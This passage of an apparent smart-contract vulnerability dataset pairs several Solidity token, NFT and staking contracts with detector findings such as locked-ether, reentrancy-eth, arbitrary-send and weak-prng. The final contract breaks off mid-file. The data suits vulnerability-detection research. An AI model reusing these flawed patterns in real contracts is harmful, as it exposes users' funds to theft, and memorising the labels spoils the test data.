* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: contracts/library/Governance.sol
pragma solidity ^0.5.5;
contract Governance {
address public governance;
constructor() public {
governance = tx.origin;
}
event GovernanceTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyGovernance {
require(msg.sender == governance, "not governance");
_;
}
function setGovernance(address _governance) public onlyGovernance
{
require(_governance != address(0), "new governance the zero address");
emit GovernanceTransferred(governance, _governance);
governance = _governance;
}
}
// File: contracts/token/DegoToken.sol
pragma solidity ^0.5.5;
/// @title DegoToken Contract
contract DegoToken is Governance, ERC20Detailed{
using SafeMath for uint256;
//events
event eveSetRate(uint256 burn_rate, uint256 reward_rate);
event eveRewardPool(address rewardPool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Mint(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// for minters
mapping (address => bool) public _minters;
//token base data
uint256 internal _totalSupply;
mapping(address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _allowances;
/// Constant token specific fields
uint256 public _maxSupply = 0;
///
bool public _openTransfer = false;
// hardcode limit rate
uint256 public constant _maxGovernValueRate = 2000;//2000/10000
uint256 public constant _minGovernValueRate = 10; //10/10000
uint256 public constant _rateBase = 10000;
// additional variables for use if transaction fees ever became necessary
uint256 public _burnRate = 250;
uint256 public _rewardRate = 250;
uint256 public _totalBurnToken = 0;
uint256 public _totalRewardToken = 0;
//todo reward pool!
address public _rewardPool = 0x3D0a845C5ef9741De999FC068f70E2048A489F2b;
//todo burn pool!
address public _burnPool = 0x6666666666666666666666666666666666666666;
/**
* @dev set the token transfer switch
*/
function enableOpenTransfer() public onlyGovernance
{
_openTransfer = true;
}
/**
* CONSTRUCTOR
*
* @dev Initialize the Token
*/
constructor () public ERC20Detailed("dego.finance", "DEGOTest", 18) {
_maxSupply = 21000000 * (10**18);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param amount The amount of tokens to be spent.
*/
function approve(address spender, uint256 amount) external
returns (bool)
{
require(msg.sender != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev Function to check the amount of tokens than an owner _allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) external view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) external view
returns (uint256)
{
return _balances[owner];
}
/**
* @dev return the token total supply
*/
function totalSupply() external view
returns (uint256)
{
return _totalSupply;
}
/**
* @dev for mint function
*/
function mint(address account, uint256 amount) external
{
require(account != address(0), "ERC20: mint to the zero address");
require(_minters[msg.sender], "!minter");
uint256 curMintSupply = _totalSupply.add(_totalBurnToken);
uint256 newMintSupply = curMintSupply.add(amount);
require( newMintSupply <= _maxSupply,"supply is max!");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Mint(address(0), account, amount);
emit Transfer(address(0), account, amount);
}
function addMinter(address _minter) public onlyGovernance
{
_minters[_minter] = true;
}
function removeMinter(address _minter) public onlyGovernance
{
_minters[_minter] = false;
}
function() external payable {
revert();
}
/**
* @dev for govern value
*/
function setRate(uint256 burn_rate, uint256 reward_rate) public
onlyGovernance
{
require(_maxGovernValueRate >= burn_rate && burn_rate >= _minGovernValueRate,"invalid burn rate");
require(_maxGovernValueRate >= reward_rate && reward_rate >= _minGovernValueRate,"invalid reward rate");
_burnRate = burn_rate;
_rewardRate = reward_rate;
emit eveSetRate(burn_rate, reward_rate);
}
/**
* @dev for set reward
*/
function setRewardPool(address rewardPool) public
onlyGovernance
{
require(rewardPool != address(0x0));
_rewardPool = rewardPool;
emit eveRewardPool(_rewardPool);
}
/**
* @dev transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) external
returns (bool)
{
return _transfer(msg.sender,to,value);
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) external
returns (bool)
{
uint256 allow = _allowances[from][msg.sender];
_allowances[from][msg.sender] = allow.sub(value);
return _transfer(from,to,value);
}
/**
* @dev Transfer tokens with fee
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256s the amount of tokens to be transferred
*/
function _transfer(address from, address to, uint256 value) internal
returns (bool)
{
// :)
require(_openTransfer || from == governance, "transfer closed");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 sendAmount = value;
uint256 burnFee = (value.mul(_burnRate)).div(_rateBase);
if (burnFee > 0) {
//to burn
_balances[_burnPool] = _balances[_burnPool].add(burnFee);
_totalSupply = _totalSupply.sub(burnFee);
sendAmount = sendAmount.sub(burnFee);
_totalBurnToken = _totalBurnToken.add(burnFee);
emit Transfer(from, _burnPool, burnFee);
}
uint256 rewardFee = (value.mul(_rewardRate)).div(_rateBase);
if (rewardFee > 0) {
//to reward
_balances[_rewardPool] = _balances[_rewardPool].add(rewardFee);
sendAmount = sendAmount.sub(rewardFee);
_totalRewardToken = _totalRewardToken.add(rewardFee);
emit Transfer(from, _rewardPool, rewardFee);
}
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(sendAmount);
emit Transfer(from, to, sendAmount);
return true;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'OGP' 'OUR GREEN POWER' token contract
//
// Symbol : OGP
// Name : OUR GREEN POWER
// Total supply: 400,000.000000000
// Decimals : 9
//
// Enjoy.
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial OGP supply
// ----------------------------------------------------------------------------
contract OGPToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function OGPToken() public {
symbol = "OGP";
name = "OUR GREEN POWER";
decimals = 9;
_totalSupply = 400000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
contract Bitmaths is ERC721, ERC721Enumerable, Ownable {
string public constant BITMATHS_PROVENANCE = "dcbeba80a2c080466964acad724e0d2bfe54b83bb7730d1443425be91e54e762";
uint256 public constant MAX_NFT_SUPPLY = 64;
uint256 public constant MAX_PURCHASABLE_NFT_SUPPLY = 61;
uint256 private constant SECRET_REQUISIT_INDEX = 43;
address public constant PHI_TAUS_EGG = 0x0a6b94dE308C0222408e84A4c8bA8bDBC2EE6C01;
uint256 private constant VERIFICATION_SOLVED_MASK = 0x0000000100100100100101000001000010000000000100000000000000100011;
uint256 private constant WINDOW_SIZE = 86400;
uint256 public stakeAmount = 40 * 10**18;
uint256 public lockedTotalStake = 0;
uint256 public unlockedTotalStake = 0;
// Initiall set to staking expiration, but reset to guessing begining upon sale of the 61st NFT
uint256 public guessingBeginsTimestamp = 1629504000;
// Which piece will become tokenID = 0. This is set to a random value 0 to 60 upon sale of the 61st NFT.
uint256 public startingIndex = 65;
// 64 4-bit codes. Common = 0, Uncommon = 2, Rare = 4, Epic_unsolved = 6, Legendary = 8, Epic_solved = 7 in order of preTokenIndex from right to left
uint256 public nftRarities = 0x8840042642640620600646044206400262404200220604220400002000620266;
// Mapping stakeholder address to their stake in the project
struct Stake {
uint128 amountStaked;
uint128 amountNFTs;
}
mapping (address => Stake) public stakes;
struct Guess {
uint8 guessTokenId;
uint16 guess;
address rewardAddress;
uint32 timestamp;
}
// The array to store the guesses submitted by each piece
Guess[MAX_NFT_SUPPLY] private guesses;
bytes32 private secretMintCodeHash = 0x0aadf7eaabe5d56139de8e76813c132769e31f1738b8633e8376ae55330c9de3;
event StakingFeeChanged(uint256 _stakeAmount);
// -----
constructor() ERC721("8Bitmaths", "8BM") {}
function _baseURI() internal pure override returns (string memory) {
return "ipfs://Qmd8hZV3CcfGpc3AAd5Qgcmxhpd2qugTKVDFxwdDtNnsRk/";
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId));
require(totalSupply() >= MAX_PURCHASABLE_NFT_SUPPLY);
return super.tokenURI(preTokenIndexFromTokenId(tokenId));
}
function contractURI() public pure returns (string memory) {
return "https://phitau1016.com/8bitmaths/contract/";
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
// -----
function preTokenIndexFromTokenId(uint256 tokenId) private view returns (uint256) {
return tokenId < MAX_PURCHASABLE_NFT_SUPPLY ? (tokenId + startingIndex) % MAX_PURCHASABLE_NFT_SUPPLY : tokenId;
}
function tokenIdFromPreTokenIndex(uint256 preTokenIndex) private view returns (uint256) {
return preTokenIndex < MAX_PURCHASABLE_NFT_SUPPLY ? (MAX_PURCHASABLE_NFT_SUPPLY + preTokenIndex - startingIndex) % MAX_PURCHASABLE_NFT_SUPPLY : preTokenIndex;
}
function tokenRarity(uint256 tokenId) private view returns (uint256) {
return (nftRarities >> (4*preTokenIndexFromTokenId(tokenId))) & 15;
}
function timestampDay(uint256 _timestamp) private pure returns (uint256) {
// returns the integer number of days since 0:00 UTC Saturday Januray 3 1970 for _timestamp
return _timestamp/WINDOW_SIZE - 2;
}
function timestampDayCode(uint256 _timestamp) private pure returns (uint256) {
// what day of the week is _timestamp. Sat = 0, Sun = 1 etc.
return timestampDay(_timestamp) % 7;
}
function getNow() public view returns (uint) {
// this function is an artifact of testing, with the testing logic removed, but still used throughout to get the current timestamp
return block.timestamp;
}
function allEpicsSolved() private view returns (bool) {
return nftRarities & VERIFICATION_SOLVED_MASK == VERIFICATION_SOLVED_MASK;
}
function noPendingGuesses() private view returns (bool){
for(uint i = 0; i < MAX_NFT_SUPPLY; i++) {
if(guesses[i].timestamp != 0) {
return false;
}
}
return true;
}
function tokenHasRewardAvailable(uint256 tokenId) public view returns (bool) {
if(guesses[tokenId].timestamp == 0) {
return false;
} else {
return timestampDay(getNow()) - timestampDay(guesses[tokenId].timestamp) >= 2;
}
}
function getBalance() public view returns (uint256) {
return address(this).balance - unlockedTotalStake;
}
function getPhaseCode() external view returns (uint256, uint256) {
// A quick way to get the current state of the contract for the front end
return ((totalSupply()<MAX_PURCHASABLE_NFT_SUPPLY?32:0) + (getNow()<guessingBeginsTimestamp?16:0) + (stakeAmount>0?8:0) + (allEpicsSolved()?4:0) + (noPendingGuesses()?2:0) + (totalSupply()>62?1:0), getNow());
}
// ----- Staking Phase
/**
* @dev Mints 8bitmaths
*/
function stakeAClaim(uint256 numberOfNfts) public payable {
require(totalSupply()+numberOfNfts <= MAX_PURCHASABLE_NFT_SUPPLY, "All 8bitmaths have been claimed");
require(stakeAmount*numberOfNfts == msg.value, "Ether value sent is not correct");
require(msg.value > 0);
for (uint i = 0; i < numberOfNfts; i++) {
uint mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex);
}
stakes[msg.sender].amountStaked += uint128(msg.value);
stakes[msg.sender].amountNFTs += uint128(numberOfNfts);
lockedTotalStake += msg.value;
if(totalSupply() == MAX_PURCHASABLE_NFT_SUPPLY) {
startingIndex = uint256(keccak256(abi.encodePacked(getNow(), block.difficulty)))%MAX_PURCHASABLE_NFT_SUPPLY; // select a random piece to be Id 0 and hence randomizing the order
uint secondsIntoWeek = getNow() % 604800; // how many seconds into the week are we right now (week starts at 0:00 Thursday UTC)
uint secondsToSaturday = (secondsIntoWeek<172800)?172800:777600; // If less than 2 days into the week, than less than 2 days until next Saturday, otherwise more than 2 days until the next Saturday
guessingBeginsTimestamp = getNow() - secondsIntoWeek + secondsToSaturday; // 0:00 the very next Saturday
}
}
function changeStakeAmount(uint256 newAmount) onlyOwner external {
_changeStakeAmount(newAmount);
}
function _changeStakeAmount(uint256 newAmount) private {
require(newAmount < stakeAmount);
require(totalSupply() < MAX_PURCHASABLE_NFT_SUPPLY);
uint256 newLockedTotalStake = newAmount * totalSupply();
unlockedTotalStake = unlockedTotalStake + lockedTotalStake - newLockedTotalStake;
lockedTotalStake = newLockedTotalStake;
stakeAmount = newAmount;
if (newAmount == 0) {
burnAll();
}
emit StakingFeeChanged(newAmount);
}
// only called when the stakeAmount is changed to 0, which only happens when the project is terminated. Everybody gets there money back, but no NFTs will be owned.
function burnAll() private {
while(totalSupply() > 0) {
uint256 _tokenId = tokenByIndex(0);
_burn(_tokenId);
}
}
function claimUnlockedStake() external {
uint256 claimAmount = stakes[msg.sender].amountStaked - stakeAmount * stakes[msg.sender].amountNFTs;
require(claimAmount > 0, "You have no unlocked stake");
payable(msg.sender).transfer(claimAmount);
unlockedTotalStake -= claimAmount;
stakes[msg.sender].amountStaked -= uint128(claimAmount);
}
function terminateUponExpiration() external {
require(totalSupply() < MAX_PURCHASABLE_NFT_SUPPLY, "All 8bitmaths were claimed");
require(getNow() > guessingBeginsTimestamp, "Staking phase has not expired");
require(stakeAmount > 0, "Staking was already terminated");
_changeStakeAmount(0);
}
function mintSecret(string memory _secretMintCode) external {
require(totalSupply() >= MAX_PURCHASABLE_NFT_SUPPLY, "Not all tokens minted");
require(msg.sender == ownerOf(tokenIdFromPreTokenIndex(SECRET_REQUISIT_INDEX)), "You must own the right token");
require(keccak256(abi.encodePacked(_secretMintCode)) == secretMintCodeHash, "Incorrect Mint Code");
_safeMint(msg.sender,MAX_PURCHASABLE_NFT_SUPPLY);
}
// ----- Search for Keys Phase
function submitGuess(uint256 ownerTokenId, uint8 guessTokenId, uint16 guess, address rewardAddress) external {
require(startingIndex < 65, "Not all 8bitmaths minted yet");
require(msg.sender == ownerOf(ownerTokenId), "You don't own this token");
require(tokenRarity(guessTokenId) == 6, "Must guess on unsolved Epic");
uint256 _currentDayCode = timestampDayCode(getNow());
require(_currentDayCode <= 4 && _currentDayCode%2 == 0 && _currentDayCode <= tokenRarity(ownerTokenId) && getNow() > guessingBeginsTimestamp, "Not your 8bitmaths guessing day");
require(guesses[ownerTokenId].timestamp == 0, "Your 8bitmaths has a guess pending");
require(guesses[guessTokenId].timestamp == 0 || guesses[guessTokenId].guessTokenId != guessTokenId, "Epic owner has guessed on their token");
require(guess < 2048, "Not a valid guess");
guesses[ownerTokenId] = Guess(guessTokenId, guess, rewardAddress, uint32(getNow()));
}
function getGuesses() external view returns (Guess[MAX_NFT_SUPPLY] memory) {
return guesses;
}
function verifyGuesses(uint256 verificationCode) onlyOwner external {
// guesses are verified off chain. The off chain verification server calls getGuesses, processes these guesses according to the rules, creates the verificationCode, calls verifyGuesses with the verification code
require(timestampDayCode(getNow())%2==1); //must be a verification day
require(startingIndex < MAX_PURCHASABLE_NFT_SUPPLY);
// verificationCode is in preTokenIndex order from right to left in 4 bit chunks
for(uint i = 0; i < MAX_NFT_SUPPLY; i++) {
if((verificationCode >> (4*i)) & 15 < 8) {
delete guesses[tokenIdFromPreTokenIndex(i)];
}
}
nftRarities = nftRarities | (verificationCode & VERIFICATION_SOLVED_MASK);
}
function claimReward(uint256 tokenId) external {
// the mechanism will reward guesses that have been in the guesses array for more than 2 days. The only way a guess is deleted from the array is:
// if it is processed and determined incorrect,
// if it is not processed because the owner guessed
// if it is not processed because an earlier guess was verified correct
// if it is more than 2 days old and the reward gets claimed
require(tokenHasRewardAvailable(tokenId), "No reward avaiable for this 8bitmaths");
payable(guesses[tokenId].rewardAddress).transfer(271828 * getBalance() / 10000000);
delete guesses[tokenId];
}
function stockEgg() external {
require(allEpicsSolved(), "Not all Epics solved");
require(noPendingGuesses(), "There are 8bitmaths with pending rewards");
payable(PHI_TAUS_EGG).transfer(getBalance() / 10);
_safeMint(PHI_TAUS_EGG,MAX_NFT_SUPPLY-2);
_safeMint(PHI_TAUS_EGG,MAX_NFT_SUPPLY-1);
}
// ----- Plundering Phase
function withdraw() onlyOwner external {
require(allEpicsSolved() && noPendingGuesses() && _exists(MAX_NFT_SUPPLY-2) && _exists(MAX_NFT_SUPPLY-1));
payable(msg.sender).transfer(getBalance());
}
} | These are the vulnerabilities found
1) arbitrary-send with High impact
2) incorrect-equality with Medium impact
3) reentrancy-eth with High impact
4) weak-prng with High impact
5) unused-return with Medium impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : PTT
// Name : Prod Test Token
// Total supply : 180000000000000
// Decimals : 6
// Owner Account : 0x4c9112d1275789CA24f74356eE68B8ee0DfE0d1b
//
// Enjoy.
//
// (c) by Juan Cruz Martinez 2020. MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract PTTToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "PTT";
name = "Prod Test Token";
decimals = 6;
_totalSupply = 180000000000000;
balances[0x4c9112d1275789CA24f74356eE68B8ee0DfE0d1b] = _totalSupply;
emit Transfer(address(0), 0x4c9112d1275789CA24f74356eE68B8ee0DfE0d1b, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
contract QuaStaking is AccessControl {
uint256 constant private MONTH = 60 * 60 * 24 * 30;
uint256 constant private DAY = 60 * 60 * 24;
uint256 constant private PERSENT_BASE = 10000;
IERC20 public immutable token;
uint256 public lockedAmount;
address public commissionAddress;
Pool[3] public pools;
mapping(address => DepositInfo[]) public addressToDepositInfo;
struct DepositInfo {
uint256 amount;
uint256 start;
uint256 poolId;
uint256 maxUnstakeAmount;
}
struct Pool {
uint64 APY;
uint8 timeLockUp;
uint64 commission;
}
event TokensStaked(
address user,
uint256 amount,
uint256 poolId,
uint256 timestamp
);
event Withdraw(
address user,
uint256 amount,
uint256 poolId,
bool earlyWithdraw
);
event WithdrawExcess(address user, uint256 amount);
/**
* @dev setup DEFAULT_ADMIN_ROLE to deployer
* @param _owner address of admin
* @param _commissionAddress address to which the commission is sent
* @param _token address of ERC20 token Quarashi
* @param _APY = 0.0055/0,0125/0,028 * 10000,
* @param _commission = 0.01/0.03/0.08 * 10000,
* @param _timeLockUp = 1/6/12
*/
constructor(
address _owner,
address _commissionAddress,
IERC20 _token,
uint8[3] memory _timeLockUp,
uint64[3] memory _APY,
uint64[3] memory _commission
)
{
require(address(_token) != address(0), "Zero token address");
token = _token;
require(_owner != address(0), "Zero owner address");
_setupRole(DEFAULT_ADMIN_ROLE, _owner);
require(_commissionAddress != address(0), "Zero commission address");
commissionAddress = _commissionAddress;
Pool memory pool;
for (uint256 i; i < 3; i++) {
pool = Pool(_APY[i], _timeLockUp[i], _commission[i]);
pools[i] = (pool);
}
}
/**
* @param _commissionAddress new address to which the commission is sent
*/
function setCommissionAddress(address _commissionAddress)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
commissionAddress = _commissionAddress;
}
/**
* @notice Create deposit for msg.sender with input params
